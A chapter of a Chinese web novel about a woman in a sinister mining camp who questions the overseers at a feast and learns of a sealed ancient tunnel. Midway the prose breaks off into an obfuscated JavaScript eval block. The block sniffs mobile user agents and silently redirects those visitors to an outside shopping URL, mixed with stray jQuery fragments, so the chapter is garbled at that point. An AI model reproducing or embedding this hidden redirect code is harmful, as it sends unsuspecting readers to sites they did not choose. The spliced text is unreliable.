白天过得太过凶险,江问月把接风宴这事也给忘了。
“还有一个人没回来,不用等吗?”她发现那充满秘密的书生到现在还没回来。
小厮语气强硬:“你们先去着,不要让老爷等急了。”
众人只好随小厮前往乙字区的前院。
远远望去,前院的灯火已经亮起,微弱的橘黄色光芒在空气中摇曳。几人刚踏入厅内,一股淡香扑面而来,把外头的铁锈味掩盖得严严实实。
院子正中,一名约五旬的中年男子正襟危坐,他身后高挂着一面绣有盘龙的锦制屏风,龙爪翻腾,似欲破天而出。
“可真是天高皇帝远。”江问月心想。
那男人只是微微抬手,几人便被引至他面前站定。
算命先生站在最前,略显拘谨地拱手行礼:“见过老爷。”
那人的目光在几人身上淡淡掠过,良久,他终于开口,声音低沉而含着一种说不清的威压:“我姓姚,是这座矿场的主事。几位不必拘束,可还习惯这里?”
“谢过姚老爷关心。”江问月是这三人中最会自谦的,“我们这些人不讲究,能得老爷亲自见面,已是天大荣幸。”
“进了这矿场,便是你们的第二段人生。”姚主事没有多余的寒暄,“只要努力干活,你们自然会被好好照应。接下来无论发生什么,都记住一点——规矩是天定的,守着规矩,就能多一分活路。”
江问月:“老爷放心,我们定当谨记。”
姚主事微微颔首:“好了,入席去吧。”
江问月三人被安排在角落的一张小桌子上,略显局促,不过低调。
只见油腻腻的方桌上放着四个盘子,分别是两碟素菜、一盘腌肉,还有两个白馍。
对这群矿工来说算得上奢侈。
江问月还没能完全接受此地的饮食,看了一眼便对饭菜失了兴趣。她四处打量,见到不少陌生面孔——那些人大多面容憔悴,衣衫上还沾着绿色的锈迹和尘土。他们三三两两地坐在桌旁,神色戒备而拘谨,大约也是刚被押送至此。
她一转头,正巧看见大门口走进一人来。
那人竟然是谢霖。
谢霖还是一身黑,也不知道这衣服洗没洗,他带着一股凌厉气场快步走进这还算温馨的院中。
正厅主位上,原本端坐着死活不挪窝的姚主事动作一顿,立刻站起来走上前去迎接。
“谢公子大驾光临,这小院蓬荜生辉。”姚主事笑意浮现,胡长使紧随其后,谄媚得不像个人样。
谢霖:“姚老爷客气了,今日只不过是路过,顺便来蹭顿饭。”
姚主事大笑:“谢公子随时光临。”
江问月看在眼里,心说谢霖到底是什么背景,位份竟高过这矿场的主事。
“诸位!”胡长使是会来事的,他抬手敲击了一下桌面,声如洪钟,“老爷特意吩咐了,要好好招待各位新来的朋友。今日备下薄酒粗食,还望各位赏光。”
众人齐齐站起,场面显得颇为恭敬。
“姚老爷慷慨,我们这些人不胜感激啊!”
“谢老爷和几位主事大人待我们这些下人如此宽厚,真是恩德无量!”有几人举着酒杯奉承道。
谢霖却并未回应,反倒是胡长使笑得更加欢快了。
“老爷吩咐了,只要你们好好干,这矿场就是你们的第二个家!”胡长使笑容满面,端起酒杯,朝众人示意了一圈。
众人连忙端起酒杯,满脸堆笑地回应,不过笑容都像是工价里包的:“多谢长使!多谢老爷!”
一时间,前厅内酒杯轻碰的清脆声此起彼伏,气氛竟难得地显出几分热闹来。
江问月这桌缺了位能说会道的,气氛有些冷清。
小乞丐已经没心没肺地吃了起来,满嘴是油。
算命先生还在思考书生的去向,拉了拉江问月的衣角:“江姑娘,你知道李兄的去向吗?”
江问月摇了摇头:“今天分开后我就没有见过他了。”
小乞丐满嘴是肉,含糊不清地插嘴道:“我好像在七井那边看到他了……不过当时情况太混乱,我也不敢肯定。”
“七井?”江问月心生警觉,“你确定是他吗?”
“不敢太肯定,”小乞丐皱着眉头回忆,有些犹豫,“下七井的人很多,他们好像需要运很多尸体下去,从远处看都是密密麻麻的人头。”
“把尸体搬下去?”江问月盯住小乞丐,“你确定是把尸体搬下去,而不是搬出来?”
小乞丐从未见过江问月认真的模样,吓了一跳,愣了一瞬后连忙点头:“我肯定!他们就是把尸体往下搬!我亲眼看见好几个人抬着尸体,一路排队往井下走。”
江问月瞳孔微微一缩。
她回忆着从押送开始到现在的种种细节,瘸子与老头的死、血符咒……然后心中闪过一个大胆的猜测。
在押送途中,守卫们似乎并不在意他们这群人的死活。对于普通矿场,死人的价值基本等同于肥料,但这里会不会有些地方需要的不是活人,而是尸体?
七井的坍塌……会不会是因为新到的尸体——也就是瘸子和老头,有问题?
按照那位书生的神奇言论,他们俩若是一伙的,今日七井的坍塌,或许就是他们拼死也要完成的目标。
“不过证据嘛……只要这就是事实,那迟早会有的。”江问月想着,嘴角微微扬起。
酒过三巡,厅堂里的氛围变得更加松弛,大家似乎真的忘了自己身处何处。
算命先生大叫着:“昨日繁华成旧梦,今日高楼……塌了……塌了!”然后抢过小乞丐的白面窝窝,当做枕头,趴桌上睡了。
姚主事的面色已经开始泛红,手中的酒杯越来越晃荡。他靠在椅背上,和谢霖交谈着什么,时不时发出低沉的笑声,整个人看上去松懈了许多。
江问月见时机到了,端着酒杯盈盈上前,面上浮现出得体的微笑:“几位大人,今日初来乍到,多亏你们照拂,我才能平安度过。”
谢霖抬起头,眸中毫无醉意,却也没搭理江问月。
江问月倒也不急:“听闻矿场的规矩颇为严苛,今日亲眼见识,果然名不虚传。”
“那是自然。”胡长使喝得有些多了,故作神秘,“甲字区可是命脉。”
江问月顺势而问:“刚才听闻规矩是天定的,实在令人敬畏,不知这“天”可是什么上古大神?”
胡长使已经喝得舌头有些打结,抖着腿,笑得有些诡异:“那是尚公留下的……嘿,可不是什么上古大神,是各位大神的爹!”
江问月:“如此看来,这矿场岂不是已有百年历史?”
谢霖眼见胡长使再说下去,在场所有人的底裤都得不保,赶紧开口打断:“倒也不算秘密,这矿场确实是古人开凿,经过几代变迁,已经跟原先大不相同。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009243|148573||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“江姑娘,我劝你别有太多不该有的心思。”他盯着江问月的眼睛,“甲字区底下确实有许多先人遗留下的矿道,但这些古道早被封闭,谁也没走过。若是想借古道逃离,恐怕只会困死在矿道深处。”
江问月迎上他的目光:“谢先生多心了,我可没那胆子,只是今日七井坍塌,有些害怕。想着既然要在这里干活,还是多些了解一下比较好。”
“多虑了,”谢霖冷冷一笑,“明日照常上工,其他矿井并无影响。”
江问月似是松了口气,点点头:“那就好,多谢主事大人,多谢先生。”
江问月回到座位上,瞥了眼谢霖,那人深邃的目光仍旧锁定在自己身上,她唇角轻扬,再度举起杯,笑得一脸真诚:“谢先生,还请多多关照。”
谢霖似乎翻了个白眼。
江问月收回目光,缓缓坐下。
小乞丐悄悄凑过来:“这么开心,聊啥了?”
江问月摇了摇头:“他们嘴巴很严,什么都不愿意透露。”
说罢她伸手端起一杯水,轻轻抿了一口,这里的水质很差,淡淡的苦涩在唇齿间蔓延开来。
-
次日,江问月踩着上工的钟声到了甲字区,其余矿工早已排成了一条长队。
薛元白今天一脸便秘样,不知道是没睡好还是压力大,看到江问月后他露出一个不是很真心的笑容,招了招手:“江姑娘……早啊。”
江问月站到他身后,语带揶揄:“薛工头这是怕我不成?”
薛元白僵硬地摇了摇头:“怎敢怎敢,我只不过是担心今天的活儿有点儿……”他因为焦虑所以语速飞快,“昨日折了三个人,今天又没有新人补充,咱这批人怕不是都得磕死在矿道里才能完差。”
“难怪你耷拉个脸。”江问月轻笑一声。
薛元白看她笑得轻松,本以为她有什么主意,结果就听她慢悠悠地说:“不过,这就完蛋了——我今天还打算偷个懒,矿工这活儿干腻了,打算在矿道里四处逛逛。”
“什么?!”薛元白差点没跳起来,惊呼出声。随后看了看四周,压低声音急切道:“你疯了吧!你知道今天甲字区戒备有多严吗?若是被发现,你可就——”
“死无全尸,对吧?”江问月淡淡地接过他的话,“不过……我感觉死不了,赌一下吧。”
“你可别开玩笑了,”薛元白急得直搓手,“就算你不被守卫抓住砍头,也会因为完不成任务被管事盯上。”
江问月笑容明媚:“所以嘛,我帮帮你们,去别的矿道看看有没有什么收获,说不定那血符“啪”一下就失效了。要不然,今日你们恐怕真要死在这儿了。”
薛元白张了张嘴,半天说不出话来。
“薛元白,不要一副见了鬼的样子。”江问月笑着,“你只需要告诉我九井下有没有什么密道,被封起来的也行。”
薛元白挣扎了一会儿,知道自己劝不动,终于无奈地点点头:“井口往内约七十步,有一条半人高废弃的岔道。”
江问月点头,心想还真有古矿道,随口追问:“不对啊,你发现了岔道,按理早该想着逃跑了吧?”
薛元白几乎要哭出来:“姑奶奶,咱人跟人不一样啊,连这铁链子都比我命硬,我连链子都掰不开,往哪儿逃?”
江问月笑了,不再刺激他,抬手拍了拍他的肩膀:“那这机会就让给我了,多谢了,薛兄。”